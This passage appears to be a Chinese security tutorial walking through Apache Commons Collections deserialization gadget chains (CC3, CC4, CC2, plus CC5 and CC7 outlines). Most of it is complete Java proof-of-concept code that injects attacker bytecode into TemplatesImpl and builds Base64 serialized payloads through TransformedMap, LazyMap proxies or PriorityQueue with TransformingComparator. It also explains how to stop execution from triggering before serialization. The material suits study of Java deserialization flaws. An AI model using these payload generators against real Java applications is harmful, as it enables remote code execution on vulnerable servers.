byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

templates.newTransformer();
}
}

defineTransletClasses方法中的_auxClasses这里是空的如果执行else之后就会爆空指针方法

image-20220604181743444

这里要执行if语句就需要superCLass.getName().等于常量

image-20220724141648246

superClass.getName()根据字面意思也可以理解出来就是superClass.getName()获取父类的类名

所以我们自己自定义的恶意类需要继承继承一下这个常量

image-20220604182022907

实现方法

image-20220604182048524

image-20220729170215001

我们使用InvokerTransformer去执行

image-20220729170557056

image-20220729171312760

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
// 先在构造方法中传入数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value");
// chainedTransformer 注意这里进行更改
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);

serialize(o);
unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220604182503281

我们在来看看cc3这里还能怎么写

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());



InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220604184339410

这里发现也可以执行按照TemplatesImpl类的逻辑应该是templates去调用newTransformer().而这里可以看到使用了TrAXFilter类的构造方法中的newTransformer()

image-20220729184701472

接着我们又找到了InstantiateTransformer类的transform()方法,这里先通过getConstructor(iParamTypes)获取了TrAXFilter类的构造方法,接着又调用了newInstance()并传入了一个templates对象,也就是我们已经构造好的对象 接着来到input这里我们存放的是我们需要获取那个类的构造方法

image-20220729185435093

image-20220729185450204

简单理解一下InstantiateTransformer构造方法的两个参数,第一个参数是用于获取一个TrAXFilter构造方法的参数类 第二个则是构造方法的参数

image-20220729185141015

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decorate);

Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o1 = constructor.newInstance(Override.class, map);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o1);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);


Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

cc4

->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………

添加依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

image-20220604190732826

我们这里使用的是PriorityQueue类的readObject方法

可以看到这里的queue是一个数组

image-20220729193915182

heapify()

image-20220729194020473

image-20220729201448410

image-20220729201510819

接着我们反过来写,首先看到TransformingComparator类的构造方法中.可以看到这里的构造方法首先是一个参数的去调用两个参数的给transformer赋值了

image-20220729202006491

这里是PriorityQueue类的构造方法,在这里我们需要给comparator赋值为我们创建的TransformingComparator

image-20220729202543811

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);



ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);



Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

写成这样之后我们尝试一下,发现这里的size是0也就无法接着走

image-20220729202937733

这里也很容易发现这个size使用来计数的 需要注意的是这里的size >>> 1 表示的是size除以2 也就是需要两个size才能进入

image-20220729203253985

我们只需要调用add去添加数值就可以增加size

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);



ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);


//
// Base64.Decoder decoder = Base64.getDecoder();
// byte[] decode = decoder.decode(s);
//
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
}

这里也可以轻松发现在序列化之前就触发了

image-20220729203918122

断点调一下

image-20220729204613366

这里也可以清楚的看到在调用第二个add的时候触发了compare() 从底下的调用栈也可以看出

image-20220729204706367

因此我们还是采取先存入无用的 在通过反射存入正确的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);

Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformer = transformingComparatorClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);



ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);



Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

image-20220729205127466

cc2

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

可以看到cc2是使用的InvokerTransformer的transform()方法来进行的执行TemplatesImpl类的newTransformer()方法,因为我们需要在transform()传入我们构造好的templates 最终调用的结果就是templates .newTransformer().

image-20220729210801691

接着我们还需要的是如何传给这个transform(obj1) 也是可以看到这里是一路传下来的

image-20220729211102101

最终取出来的是queue数组中的值,因此我们只需要add进去我们想要的obj1即可

接着还是需要去进行反射更改值

package org.example;

import com.sun.org.apache.bcel.internal.generic.NEW;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");

Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<Object, Integer> objectIntegerTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectIntegerTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformert = transformingComparatorClass.getDeclaredField("transformer");
transformert.setAccessible(true);
transformert.set(objectIntegerTransformingComparator,newTransformer);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);



Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

image-20220604203412452

cc5

->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………

cc7

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………